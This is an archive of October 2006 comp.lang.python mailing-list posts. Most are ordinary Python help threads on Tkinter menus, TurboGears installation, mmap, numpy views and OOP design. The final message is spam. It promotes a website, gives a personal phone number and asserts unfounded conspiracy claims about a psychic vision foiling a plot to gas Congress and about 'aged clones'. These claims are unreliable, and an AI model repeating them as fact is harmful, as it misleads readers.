the first breakpoint has number 1, the next breakpoint 2. When breakpoints are deleted, the numbers don't get reused. (I think all of this is the case also with pdb, but someone might check on this; it's possible breakpoints in pdb start from 0 instead of 1 as is the case in gdb/pydb.) From DustanGroups at gmail.com Thu Oct 5 06:28:35 2006 From: DustanGroups at gmail.com (Dustan) Date: 5 Oct 2006 03:28:35 -0700 Subject: Long Tkinter Menu In-Reply-To: References: <1160008434.662011.99300@m73g2000cwd.googlegroups.com> Message-ID: <1160044114.982182.235510@k70g2000cwa.googlegroups.com> Eric Brunel wrote: > On Thu, 05 Oct 2006 02:33:54 +0200, Dustan wrote: > > > I don't know if this is because of Tkinter (ie Tk) itself or the > > Windows default way of handling things, but when I create a very long > > menu (my test is shown below), the way it displays is rather sucky; the > > menu stretches from the top of the moniter's window to the bottom (no > > matter the size of the actual application). > > > > Is there any alternative format for how a long menu gets displayed? It > > would be nice if say, I could make the menu only go to the borders of > > the application itself (in this case, not that long). > > To limit the menu in the application window, will be difficult. But here > are two ways of automatically limiting the number of entries that can > appear in a menu by specializing the Tkinter Menu class: > > ------------------------------------------------------ > from Tkinter import * > > class LongMenu(Menu): > """ > Automatically creates a cascade entry labelled 'More...' when the > number of entries is above MAX_ENTRIES. > """ > > MAX_ENTRIES = 20 > > def __init__(self, *args, **options): > Menu.__init__(self, *args, **options) > self.nextMenu = None > > def add(self, itemType, cnf={}, **kw): > if self.nextMenu is not None: > return self.nextMenu.add(itemType, cnf, **kw) > nbEntries = self.index(END) > if nbEntries < LongMenu.MAX_ENTRIES: > return Menu.add(self, itemType, cnf, **kw) > self.nextMenu = LongMenu(self) > Menu.add(self, 'cascade', label='More...', menu=self.nextMenu) > return self.nextMenu.add(itemType, cnf, **kw) > > > class AutoBreakMenu(Menu): > """ > Automatically adds the 'columnbreak' option on menu entries to make > sure that the menu won't get too high. > """ > > MAX_ENTRIES = 20 > > def add(self, itemType, cnf={}, **kw): > entryIndex = 1 + (self.index(END) or 0) > if entryIndex % AutoBreakMenu.MAX_ENTRIES == 0: > cnf.update(kw) > cnf['columnbreak'] = 1 > kw = {} > return Menu.add(self, itemType, cnf, **kw) > > > > if __name__ == '__main__': > root = Tk() > > menubar = Menu(root) > > def fillMenu(menu): > for i in xrange(100): > menu.add_command(label=str(i), command=root.quit) > menu.add_command(label="Exit", command=root.quit) > > menu1 = LongMenu(menubar, tearoff=0) > fillMenu(menu1) > menu2 = AutoBreakMenu(menubar, tearoff=0) > fillMenu(menu2) > > menubar.add_cascade(label="Test1", menu=menu1) > menubar.add_cascade(label="Test2", menu=menu2) > > root.config(menu=menubar) > > root.mainloop() > ------------------------------------------------------ > > If your application is more complicated than that (e.g if you insert menu > entries after the first adds), you'll have to change the code above a bit, > since it doesn't handle calls to insert at all. But you get the idea. > > HTH > -- > python -c "print ''.join([chr(154 - ord(c)) for c in > 'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])" Thanks, I'll see what I can do with that. From bignose+hates-spam at benfinney.id.au Sat Oct 14 04:04:20 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sat, 14 Oct 2006 18:04:20 +1000 Subject: Attribute error References: <1160803974.234768.286150@k70g2000cwa.googlegroups.com> Message-ID: <87k6332uij.fsf@benfinney.id.au> "Teja" writes: > What is attribute error? exception AttributeError Raised when an attribute reference or assignment fails. > To be precise : Not precise enough, unfortunately. Please construct a minimal, complete example that demonstrates the behaviour (and does nothing except what's needed to demonstrate the behaviour), and post its code along with a traceback output. -- \ "He who allows oppression, shares the crime." -- Erasmus | `\ Darwin, grandfather of Charles Darwin | _o__) | Ben Finney From sjmachin at lexicon.net Mon Oct 2 21:41:10 2006 From: sjmachin at lexicon.net (John Machin) Date: 2 Oct 2006 18:41:10 -0700 Subject: Need help with an array problem. In-Reply-To: <1159837482.121713.219710@i3g2000cwc.googlegroups.com> References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> <1159826923.911685.30120@m73g2000cwd.googlegroups.com> <1159828738.510075.153600@i42g2000cwa.googlegroups.com> <1159837482.121713.219710@i3g2000cwc.googlegroups.com> Message-ID: <1159839670.240986.303670@m73g2000cwd.googlegroups.com> SpreadTooThin wrote: > Robert Kern wrote: > > jakobsg at gmail.com wrote: > > > To your question on casting long to short. This is how: > > > a=1234L # long > > > b=int(a) # int (short) > > > > No, a Python int is a C long. A Python long is an arbitrary-precision number and > > does not correspond to any C type. > > > > -- > > So there is no short(number) casting? > It depends on what you think you mean by "short(number) casting". I thought I'd answered your original question -- if short = long & 0xffff doesn't do what you want to do, please give examples of what "long" means to you, and what you expect the result of "short(number) casting" each example to be. From exhuma at gmail.com Thu Oct 19 11:50:20 2006 From: exhuma at gmail.com (exhuma.twn) Date: 19 Oct 2006 08:50:20 -0700 Subject: What happened to RuleDispatch In-Reply-To: <1161271957.618070.167220@m73g2000cwd.googlegroups.com> References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com> <1161204102.346021.154750@f16g2000cwb.googlegroups.com> <1161265458.878033.121690@m7g2000cwm.googlegroups.com> <1161265603.275979.51220@e3g2000cwe.googlegroups.com> <1161271957.618070.167220@m73g2000cwd.googlegroups.com> Message-ID: <1161273020.097356.226550@e3g2000cwe.googlegroups.com> On Oct 19, 5:32 pm, "Adam Jones" wrote: > exhuma.twn wrote: > > On Oct 19, 3:44 pm, "exhuma.twn" wrote: > > > On Oct 18, 10:41 pm, "Adam Jones" wrote: > > > > > exhuma.twn wrote: > > > > > Hi all, > > > > > > yesterday I wanted to install TurboGears, which depends on > > > > >RuleDispatch. However, I failed to download it. First I got the error > > > > > "Bad Gateway" from the server, today it's simply a "Not Found" error. > > > > > So what happened to it? Does somebody know? > > > > > > I would really need to install TurboGears in the next couple of days. > > > > > So if someone knows where I can find a mirror ofRuleDispatchI would > > > > > be very grateful.The required files for TG are mirrored on the turbogears.org download > > > > page. You should be able to get an installation by looking up the files > > > > there. Try this command: > > > > > easy_install -fhttp://www.turbogears.org/download/index.html > > > > TurboGears > > > > > That is actually the recommended way to install TurboGears, as it is > > > > not always compatible with the latest version of the components. > > > > > -AdamHmmm... this is wat I get: > > > > Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg > > > Processing dependencies for TurboGears > > > Searching forRuleDispatch > > > Readinghttp://www.turbogears.org/download/index.html > > > Best match:RuleDispatch0.5a0.dev-r2115 > > > Downloadinghttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz > > > error: Can't downloadhttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz: > > > 502 Bad Gateway > > > > Could this be a local issue? > > > Forgot to say I also tried to download it via the web-browser. This > > gave me the following error (generated by the proxy I have to use): > > > "Server response could not be decoded using encoding type returned by > > server. > > This is typically caused by a Web Site presenting a content encoding > > header of one type, and then encoding the data differently."I just tried it for myself (with my workplace's proxy) and had no > problems. You might want to check on the TurboGears mailing list (http://groups.google.com/group/turbogears) to see if someone there can > help you figure out what is going on. Downloading the eggs at another > location and installing locally is also an option. > > -Adam I'll do that. Thanks anyway. From houdinihound at yahoo.com Mon Oct 16 14:18:36 2006 From: houdinihound at yahoo.com (Jose C) Date: 16 Oct 2006 11:18:36 -0700 Subject: Web Hosting References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com> Message-ID: <1161022716.487881.211910@e3g2000cwe.googlegroups.com> > With web hosting, does the ISP you chose have to support the framework > you work with as well? > > Im looking at making a site in Python, however, Im lost as to what ISPs > actually support. Some ISPs say they support Python so does that mean > if I wanted to use TurboGears It would just work anyway? > Check out http://webfaction.com... They have a one-click TurboGears installation procedure (as well as some other frameworks) but you can also install your own custom frameworks if they don't support it directly. HTH, From m.errami at gmail.com Tue Oct 17 22:16:57 2006 From: m.errami at gmail.com (m.errami at gmail.com) Date: 17 Oct 2006 19:16:57 -0700 Subject: Restart a Python COM Server Message-ID: <1161137817.550348.157890@m73g2000cwd.googlegroups.com> Hello all. I am desperately in need for you help guys. Here is the story: 1- I have created a small simple COM serve with python (along the lines read in Win32 Programming with python). 2- If I start the server and call a function from VBE everything works fine 3- I then want to modify the function in the python COM server 4- I unregister the server and register it again hoping the changes will take effect 5- I make call to the function from VBE but the it seems that VBE doesn't reload/refresh the reference to the server. So I do I get VBE to point to the last version of the server? If I close VBE and reload it then it works. But I think there is probably a smarter way. Please, tell me there is! Few posts deal with the issue, but so far I couldn't find anything about it... Thanx all M.E From wolfgang.keller.nospam at gmx.de Mon Oct 23 09:08:24 2006 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Mon, 23 Oct 2006 15:08:24 +0200 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> <453352d4$0$12918$426a34cc@news.free.fr> <0001HW.C159B10900A0DF8AF0407530@news.individual.de> <8Z4Zg.6659$5i7.274@newsreading01.news.tds.net> <0001HW.C15AFA6600D738B5F0488530@news.individual.de> <1161163215.654709.249960@i3g2000cwc.googlegroups.com> <1161253739.960413.267960@b28g2000cwb.googlegroups.com> Message-ID: <0001HW.C1628B6800B800A8F0284530@news.individual.de> > and perhaps a fairly elementary datagrid widget is what is being sought. *snip* > I'm sure other people can provide links to resources for other toolkits > and frameworks. Err, slight misunderstanding. I am _not_ searching for a toolkit or framework for database applications. What I am searching for is a _book_ (or other learning material) about how to implement database applications. See subject. I want to learn this because I want to be able to - understand the existing frameworks and be able to choos ethe one that suits my needs best - be able to fix bugs - be able to implement missing things myself - be able to do things "from scratch" if nothing else helps. I mentioned Delphi just as an example for a language that I am able to read easily. TIA, Sincerely, Wolfgang Keller -- My email-address is correct. Do NOT remove ".nospam" to reply. From duncan.booth at invalid.invalid Wed Oct 4 05:39:42 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 4 Oct 2006 09:39:42 GMT Subject: python html rendering References: <1159952608.259941.100650@c28g2000cwb.googlegroups.com> Message-ID: "GHUM" wrote: >> Hi, Im looking for a way to display some python code >> in html: with correct indentation, possibly syntax hiliting, dealing >> correctly with multi-line comment, > > > the usual way is to create your own web-framework > Or you could use an existing web framework: Plone has the ability to colour python code built-in. > If it is just "some" Python code and you have to do it "once", just > look at scite. Scite can colour your code, and you can export it as > HTML. and if you need it more than once you can always find one of the existing chunks of colouring code and modify/reuse it. See Plone's PortalTransforms/transforms/python.py, or the MoinMoin code it was cribbed from. https://svn.plone.org/svn/archetypes/PortalTransforms/trunk/transforms/python.py From andrew-news at andros.org.uk Fri Oct 20 14:18:46 2006 From: andrew-news at andros.org.uk (Andrew McLean) Date: Fri, 20 Oct 2006 19:18:46 +0100 Subject: ZODB and Python 2.5 Message-ID: I'm going to have to delay upgrading to Python 2.5 until all the libraries I use support it. One key library for me is ZODB. I've Googled and can't find any information on the developers' plans. Does anyone have any information that might help? - Andrew From joncle at googlemail.com Fri Oct 20 15:44:58 2006 From: joncle at googlemail.com (Jon Clements) Date: 20 Oct 2006 12:44:58 -0700 Subject: why does this unpacking work In-Reply-To: References: Message-ID: <1161373498.353748.216710@b28g2000cwb.googlegroups.com> John Salerno wrote: > I'm a little confused, but I'm sure this is something trivial. I'm > confused about why this works: > > >>> t = (('hello', 'goodbye'), > ('more', 'less'), > ('something', 'nothing'), > ('good', 'bad')) > >>> t > (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), > ('good', 'bad')) > >>> for x in t: > print x > > > ('hello', 'goodbye') > ('more', 'less') > ('something', 'nothing') > ('good', 'bad') > >>> for x,y in t: > print x,y > > > hello goodbye > more less > something nothing > good bad > >>> > > I understand that t returns a single tuple that contains other tuples. > Then 'for x in t' returns the nested tuples themselves. > > But what I don't understand is why you can use 'for x,y in t' when t > really only returns one thing. I see that this works, but I can't quite > conceptualize how. I thought 'for x,y in t' would only work if t > returned a two-tuple, which it doesn't. > > What seems to be happening is that 'for x,y in t' is acting like: > > for x in t: > for y,z in x: > #then it does it correctly > > But if so, why is this? It doesn't seem like very intuitive behavior. It makes perfect sense: in fact, you have kind of explained it yourself! Think of the for statement as returning the next element of some sequence; in this case it's a tuple. Then on the left side, the unpacking occurs. Using "for x in t", means that effectively no unpackig occurs, so you get the tuple. However, since the in is returning a tuple, using "for x,y in t", the tuple returned gets unpacked. Hope that helps. Jon. From sturlamolden at yahoo.no Tue Oct 24 18:47:25 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 24 Oct 2006 15:47:25 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <1161648415.830523.225520@k70g2000cwa.googlegroups.com> Message-ID: <1161730045.377608.221250@e3g2000cwe.googlegroups.com> Donn Cave wrote: > Wow, you're sure a wizard! Most people would need to look before > making statements like that. I know, but your news-server doesn't honour cancel messages. :) Python's mmap does indeed memory map the file into the process image. It does not fake memory mapping by means of file seek operations. However, "memory mapping" a file by means of fseek() is probably more efficient than using UNIX' mmap() or Windows' CreateFileMapping()/MapViewOfFile(). In Python, we don't always need the file memory mapped, we normally just want to use slicing-operators, for-loops and other goodies on the file object -- i.e. we just want to treat the file as a Python container object. There are many ways of achieving that. We can implement a container object backed by a binary file just as efficient (and possibly even more efficient) without using the OS' memory mapping facilities. The major advantage is that we can "pseudo-memory map" a lot more than a 32 bit address space can harbour. However - as I wrote in another posting - memory-mapping may also be used to create shared memory on Windows, and that doesn't fit easily into the fseek scheme. But apart from that, I don't see why true memory mapping has any real advantage on Python. As long as slicing operators work, users will probably not be able to tell the difference. There are in any case room for improving Python's mmap object. From spam_me at yahoo.com Thu Oct 12 12:52:18 2006 From: spam_me at yahoo.com (K. Jansma) Date: Thu, 12 Oct 2006 18:52:18 +0200 Subject: numpy slice: create view, not copy Message-ID: <12issm3bfcmh15e@corp.supernews.com> Hi, given an array: import numpy a = numpy.arange(100).reshape((10,10)) print a [[ 0 1 2 3 4 5 6 7 8 9] [10 11 12 13 14 15 16 17 18 19] [20 21 22 23 24 25 26 27 28 29] [30 31 32 33 34 35 36 37 38 39] [40 41 42 43 44 45 46 47 48 49] [50 51 52 53 54 55 56 57 58 59] [60 61 62 63 64 65 66 67 68 69] [70 71 72 73 74 75 76 77 78 79] [80 81 82 83 84 85 86 87 88 89] [90 91 92 93 94 95 96 97 98 99]] I'd like to create a new array that is a view of a, i.e. it shares data. If a is updated, this new array should be automatically 'updated'. e.g. the array west should be a view of a that gives the element at the left of location i,j in a. a[i,j] = west[i,j+1] west can be created using: a[:,range(-1,a.shape[1]-1)] As you can see, this also defines periodic boundaries (i.e. west[0,0] = 9) but it seems that this returns a copy of a, not a view. How can I change the slice definition in such a way it returns a view? Thanks in advance, Karel From smithj at rpath.com Mon Oct 16 16:33:08 2006 From: smithj at rpath.com (Jonathan Smith) Date: Mon, 16 Oct 2006 16:33:08 -0400 Subject: RELEASED Python 2.4.4, release candidate 1 In-Reply-To: <200610121733.11507.anthony@python.org> References: <200610121733.11507.anthony@python.org> Message-ID: <4533EC84.1040402@rpath.com> Anthony Baxter wrote: > On behalf of the Python development team and the Python community, > I'm happy to announce the release of Python 2.4.4 (release candidate 1). When trying to build 2.4.4c1 with cross-compiling, I get the following error. checking for /dev/ptmx... configure: error: cannot check for file existence when cross compiling ./config.log:configure:20566: checking for /dev/ptmx ./config.log:configure:20572: error: cannot check for file existence when cross compiling This does not occur with 2.4.3. -smithj From gagsl-py at yahoo.com.ar Mon Oct 23 19:15:31 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 23 Oct 2006 20:15:31 -0300 Subject: python class instantiation In-Reply-To: <453D2C61.7000800@useReplyTo.hotmail.com> References: <453D2C61.7000800@useReplyTo.hotmail.com> Message-ID: <7.0.1.0.0.20061023201255.05c8c008@yahoo.com.ar> At Monday 23/10/2006 17:56, ?ric Daigneault lists wrote: >When creating a class with data members but no __init__ method. Python >deals differently with data members that are muatable and immutables. See specially items 4 and 5. And -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From rubbishemail at web.de Mon Oct 2 09:37:34 2006 From: rubbishemail at web.de (rubbishemail at web.de) Date: 2 Oct 2006 06:37:34 -0700 Subject: automatic progress indicator Message-ID: <1159796254.438101.82320@i3g2000cwc.googlegroups.com> Hello, I have several functions calling each other several times: iter=0 iterations=50*20 in this case, how can the program calculate this value automatically ???? def a(y): for x in range(20): # this takes a constant time ... iter+=1 progress=iter/iterations def b() for y in range(50): a(y) The level of the loops is not known in advance, since the user can supply his own script to modify the main program. (b is a library routine, the user will write something like for value in [...] for voltage in [...] b() I would like to supply a progress indicator, any ideas? many thanks Daniel From val at vtek.com Fri Oct 13 11:13:12 2006 From: val at vtek.com (val bykoski) Date: Fri, 13 Oct 2006 11:13:12 -0400 Subject: Python component model In-Reply-To: <1160696330.090125.212900@h48g2000cwc.googlegroups.com> References: <1160696330.090125.212900@h48g2000cwc.googlegroups.com> Message-ID: <4p9ooaFhds1pU1@individual.net> Peter Wang wrote: > Edward, > > This isn't in response to any specific one of the 100+ posts on this > thread, but I justed wanted to encourage you to continue your > investigation into Python component models and maybe looking for some > common ground between them. Frequently the individual developers are > too heads-down on working on their own things to do a broad survey, so > I think this would be very useful indeed. > > I wouldn't have felt it necessary to post this except for the large > number of posts along the lines of "foo.dict is introspective enough > for me!". I think you might have an easier time evangelizing the > principle of component-oriented programming (or "event-based", or > "reactive", or whatever) if you separated it from the notions of RAD UI > development. There is a very large difference between writing > components and writing objects, and it seems that most people arguing > "python doesn't need components" don't see this distinction. > > For me, it's the difference between writing "live" objects and "dead" > objects. Live objects not only encapsulate implementations of an > interface with some state, but they also encapsulate handling of > events, i.e. responses to changes in their environment. Dead objects > have methods but there has to be a function somewhere that knows which > dead object to call with what parameters at exactly the right time. > (The only mechanism for managing this complexity is to create ever more > functions at ever higher levels of abstraction, or to have a > proliferation of nebulously-defined "manager" objects.) IMHO once you > cross this chasm and are able to model your problem domain with live > objects that go off and automatically respond to the runtime > environment and Do the Right Thing, it's very hard to go back to a dead > object mindset. I can understand, however, that until one makes this > leap, it might seem like an academic and useless distinction. > > -peter > Excellent post, Peter. Thanks for great clarification. Looking from a physicist' perspective, im always trying to compare/evaluate languages from "the physical reality/dynamics" angle. So, the run-time space/dynamics is the only one that matches the natural "always-runtime" objects - atoms, molecules, EM fields, biological cells(?). It is the *reactive* world with event/forces-driven dynamics. Seemingly, there is nothing beyond that, including biology. The essential feature of that runtime world is the persistence or (in physical terms) the built-in memory/storage mechanism (soft degrees of freedom), so that an event (and response to it) changes the object. The persistence is obvious in biology, but also is very important in (bio)molecular dynamics. From that physics/QM angle, a generic ("always-live") object which learns the environment (by building *and updating* its responses) seems to be a quite adequate representation for a real physical object. But this seems to be already available in Python, right? The Enthought' Traits that describes (physical) properties and their dynamics seems to be a critically important component of that vision, and i admire the Enthought' people vision and practical efforts. Keep on and good luck! run-time-ly, y'rs Val Air Force Research Lab Hanscom AFB, MA val.bykovsky at hanscom.af.mil From anthra.norell at vtxmail.ch Mon Oct 16 14:46:10 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 16 Oct 2006 20:46:10 +0200 Subject: Ok. This IS homework ... In-Reply-To: References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: <4533D372.1000701@vtxmail.ch> Nick Craig-Wood wrote: > Frederic Rentsch wrote: > >> It was called a flow chart. Flow charts could be translated directly >> into machine code written in assembly languages which had labels, tests >> and jumps as the only flow-control constructs. When structured >> programming introduced for and while loops they internalized labeling >> and jumping. That was a great convenience. Flow-charting became rather >> obsolete because the one-to-one correspondence between flow chart and >> code was largely lost. >> > > The trouble with flow charts is that they aren't appropriate maps for > the modern computing language territory. > Yes. That's why they aren't used anymore. > I was born and bred on flow charts and I admit they were useful back > in the days when I wrote 1000s of lines of assembler code a week. > > Now-a-days a much better map for the the territory is pseudo-code. > Python is pretty much executable pseudo-code anway > Yes. But it's the "executable pseudo code" our friend has problems with. So your very pertinent observation doesn't help him. My suggestion to use a flow chart was on the impression that he didn't have a clear conception of the solution's logic and that the flow chart was a simple means to acquire that clear conception. I like flow charts because they exhaustively map states and transitions exactly the way they connect---solution imaging as it were. If they can help intelligence map a territory it is no issue if they don't map it themselves very well. From larry.bates at websafe.com Tue Oct 17 16:28:16 2006 From: larry.bates at websafe.com (Larry Bates) Date: Tue, 17 Oct 2006 15:28:16 -0500 Subject: A question about list In-Reply-To: <45350868.6020806@websafe.com> References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> <45350868.6020806@websafe.com> Message-ID: Larry Bates wrote: > pretoriano_2001 at hotmail.com wrote: >> Hello: >> Variable 'a' has the next values: >> [[1,1],[2,2]] >> and I want to take a to b as: >> [[1,1,'='],[2,2,'=']] >> How can I do this with only one line of instruction? >> Thanks!! >> > To copy a list use: > > b=a[:] > > -Larry Seems I may have misunderstood the question, but others have answered appropriately. -Larry From wolfgang.keller.nospam at gmx.de Sun Oct 1 08:20:29 2006 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Sun, 1 Oct 2006 14:20:29 +0200 Subject: windev vs python SOS References: <0001HW.C14424C100B023CEF0488530@news.individual.de> <1159632848.993229.58300@m7g2000cwm.googlegroups.com> Message-ID: <0001HW.C1457F2D0000F4CEF0407530@news.individual.de> > Links abour Windev for those who like facts : > > http://www.windev.com/pcsoft/testimonials/index.html > http://www.pcsoft.fr/annonce10/photos.html > http://www.pcsoft.fr/pcsoft/120pages/index.html Well, it _could_ be that all the readers in comp.lang.python are utterly braindead morons with entirely dysfunctional sense organs so that they can't distinguish between 100% subject-matter-free sales promotion cheaptalk and objective information about "facts" from independent and competent third parties. It _could_ be. Anyway, if I were "PDG" of PC Soft, I would immediately fire their advertising staff - judging from the "content" of those "facts" they're totally incapable to produce anything that would actually convince anyone with an IQ higher than that of an average housefly. EOD. -- My email-address is correct. Do NOT remove ".nospam" to reply. From neoedmund at gmail.com Mon Oct 16 23:00:47 2006 From: neoedmund at gmail.com (neoedmund) Date: 16 Oct 2006 20:00:47 -0700 Subject: python's OOP question In-Reply-To: <453382b6$0$8601$426a74cc@news.free.fr> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> <1160991239.541020.115320@m7g2000cwm.googlegroups.com> <453382b6$0$8601$426a74cc@news.free.fr> Message-ID: <1161054047.278803.241040@h48g2000cwc.googlegroups.com> On Oct 16, 9:01 pm, Bruno Desthuilliers wrote: > neoedmund wrote: > > Bruno Desthuilliers wrote: > >> neoedmund wrote: > >> (*PLEASE* stop top-posting - corrected) > >>> Ben Finney wrote: > >>>> [Please don't top-post above the text to which you're replying.] > > >>>> "neoedmund" writes: > > >>>>> I'm trying to achieve a higher level of "reusability". Maybe it > >>>>> cannot be done in python? Can anybody help me? > >>>> What, specifically, are you trying to achieve? What problem needs > >>>> solving? > >>> python use multiple inheritance. > >>> but "inheritance" means you must inherite all methods from super type. > >>> now i just need "some" methods from one type and "some" methods from > >>> other types, to build the new type. > >>> Do you think this way is more flexible than tranditional inheritance? > > >> While dynamically adding attributes (and methods - which are attributes > >> too) is not a problem, I'd second Gregor's anwser : it might be better > >> to use composition/delegation here. > > > Could you show some code to help me know how composition/delegation can > > be done here? Thanks.About composition/delegation, there's no "one-size-fits-all" answer, but > the main idea is to use the magic '__getattr__(self, name)' method. > > Now back to your specific case : after a better reading of your original > question, straight composition/delegation wouldn't work here - at least > not without modifications to both C1 and C2 (sorry, should have read > better the first time). > > Given the context (ie : "create a new type with methods from type X and > methods from type Y"), a very simple solution could be: > > class C3(object): > m = C2.m.im_func > v = C1.v.im_func > > FWIW, if you have full control over C1, C2 and C3, you could also just > 'externalize' the functions definitions: > > def v1(self, o): > return "expected "+o > > def v2(self, o): > return "unexpected "+o > > def m2(self): > """ requires that 'self' has a v(self, somestring) method """ > print self.v("aaa") > > class C1(object): > v = v1 > > class C2(object): > v = v2 > m = m2 > > class C3(object): > v = v1 > m = m2 > > The problem (with the whole approach, whatever the choosen technical > solution) is that if one of theses methods depends on another one (or on > any other attribute) that is not defined in your new class, you're in > trouble. This is not such a big deal in the above example, but might > become much more brittle in real life. > > Now we can look at the problem from a different perspective. You wrote: > """ > but "inheritance" means you must inherite all methods from super type. > now i just need "some" methods from one type and "some" methods from > other types, to build the new type. > """ > > What is your problem with having the other extra methods too ? > > -- > bruno desthuilliers > python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for > p in 'on... at xiludom.gro'.split('@')])" Bruno , your 2 great and clear samples revealed what method is in python, which is also I really want to ask. thank you. So I can reuse a method freely only if it's worth reusing. For the word "inheritance", in some aspect, meanings reuse the super class, with the condition: must reuse everything from super class. It's lack of a option to select which methods are to be reused. this is something should be improved for general OOP i think. So to answer " What is your problem with having the other extra methods too ?", in real life, a class is not defined so well that any method is needed by sub-class. so contains a method never to be used is meaningless and i think something should forbidden. also, any handy methods in a class can be grabbed out for our reuse. so we can forgotting the bundering inheritance tree and order. From skip at pobox.com Thu Oct 19 16:59:03 2006 From: skip at pobox.com (skip at pobox.com) Date: Thu, 19 Oct 2006 15:59:03 -0500 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: <17719.59159.761223.256880@montanaro.dyndns.org> James> I guess while I'm at it, this thread wouldn't have so much steam James> were these idioms seemingly unpythonic: James> "".join(reverse(x)) James> alist[::-1] James> The latter, while more terse than alist.reversed(), is unnatural James> and ugly compared to the general elegance of other constructs in James> python. Were this not the case, beginners and intermediate James> programmers alike would not have such trouble remembering it. I've no comment one way or the other on the "".join() idiom. I realize a lot of folks don't like it. The extended slice notation comes from the numeric community though where they are probably all former FORTRAN programmers. I think the concept of start, stop, step (or stride?) is pretty common there. It also fairly nicely matches the arguments to range() and extends the list "copy operator" alist[:] in a more-or-less straightforward fashion. It takes a little getting used to, but it's really not all that hard to remember once you've seen it a couple times. Besides, it's not obvious to me that simple sequence slicing would be all that familiar to the uninitiated. go-bruins-ly, y'rs, Skip From vito.detullio at gmail.com Wed Oct 25 02:52:24 2006 From: vito.detullio at gmail.com (ZeD) Date: Wed, 25 Oct 2006 06:52:24 GMT Subject: Sorting by item_in_another_list References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: >> A = [0,1,2,3,4,5,6,7,8,9,10] >> B = [2,3,7,8] >> >> desired_result = [2,3,7,8,0,1,4,5,6,9,10] > > How about: > > desired_result = B + sorted(x for x in A if x not in B) this. is. cool. -- Under construction From onurb at xiludom.gro Mon Oct 30 05:05:19 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 30 Oct 2006 11:05:19 +0100 Subject: Optional Parameter Requirements In-Reply-To: <1161977744.737937.56400@i42g2000cwa.googlegroups.com> References: <1161977744.737937.56400@i42g2000cwa.googlegroups.com> Message-ID: <4545ce60$0$11343$426a74cc@news.free.fr> dhable at gmail.com wrote: > If I'm building a function to accept optional parameters, do I need to > allow for the capture of both the positional arguments as well as the > keyword arguments? No. > If it doesn't make sense to allow keyword arguments, > can I just write: > > def myfunc(a, b, *tup): > ... > > and be done with it? Yes. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From baseballsoccer123 at yahoo.com Fri Oct 27 14:25:48 2006 From: baseballsoccer123 at yahoo.com (baseballsoccer123 at yahoo.com) Date: 27 Oct 2006 11:25:48 -0700 Subject: Beautiful women, aged clones, and Ultimate Fighting Championship Message-ID: <1161973548.786311.158270@f16g2000cwb.googlegroups.com> Friend, I'm always looking for good and intelligent individuals like you to visit my website, www.ChezBrandon.com , and it has pictures of beautiful women, information about aged clones, and a link to Ultimate Fighting Championship, a very good show. My name is Brandon, and I'm in my 20s, am a college student, and as lie detectors, both conventional and unconventional would show, I've never been sexually penetrated. Moreover, I could be shown pictures of X, Y, and Z, and it would show that I'm only sexually attracted to women. The Murders of Our Leaders were Stopped. I can take lie detector and psychological tests. I tell the truth. A mini-psychological test: 8 times 2 = 16, the world is round, not flat, and the year is 2006. Feel free to call me, cellphone number is 503.740.0272, and utilize a GK-1 voice analyzer truth detecting device too: >From Congressmen Bill Frist to John Kerry to Dennis Hastert to Hillary Clinton to John Warner to Ron Wyden to Gordon Smith to John McCain to Joseph Lieberman to Nancy Pelosi to Diane Feinstein to Ted Kennedy to anyone else who happened to be in the Congressional chambers during either a joint session of Congress or a State of the Union address from Masons to Skull and Bones members to Secret Service agents to pages to visitors to other good individuals, they all would have been murdered, all of their accomplishments stripped away, their earned wealth stripped away, their homes stripped away, their family and friends stripped away. Moreover, someone else would have been sleeping with their spouses. Elements of an organization, not of course the Masons or Skull and Bones -- I was able, thank God, to thwart the conquest of the USA and the world, and was able to thwart the murder of United States and world leaders, via a psychic vision of Senator John Warner and other Congressmen being choked to death by gas, which was confirmed auditorially from both ears, such as "He saved Congress," who they were going to kill "all of them,""how did he know that?" and "he's psychic" -- murdered my biological Aunt Gloria Atkinson, whom I loved very much, as she did of me, and there is a tribute to her on my website. Please, friend, be sure to barricade your bedroom door at night. I'm not afraid of aged clones or the attempted chopping off of my appendages (elements of an organization talked about chopping off my right middle finger and right ear, and 10 out of 10 of my toes, like my right middle finger have unique steeple designs). I'm not afraid of anything. I'll defend myself to the best of my ability, and I commit my life to saving the lives of men, women, and children and strengthening good organizations. Sincerely, Brandon From 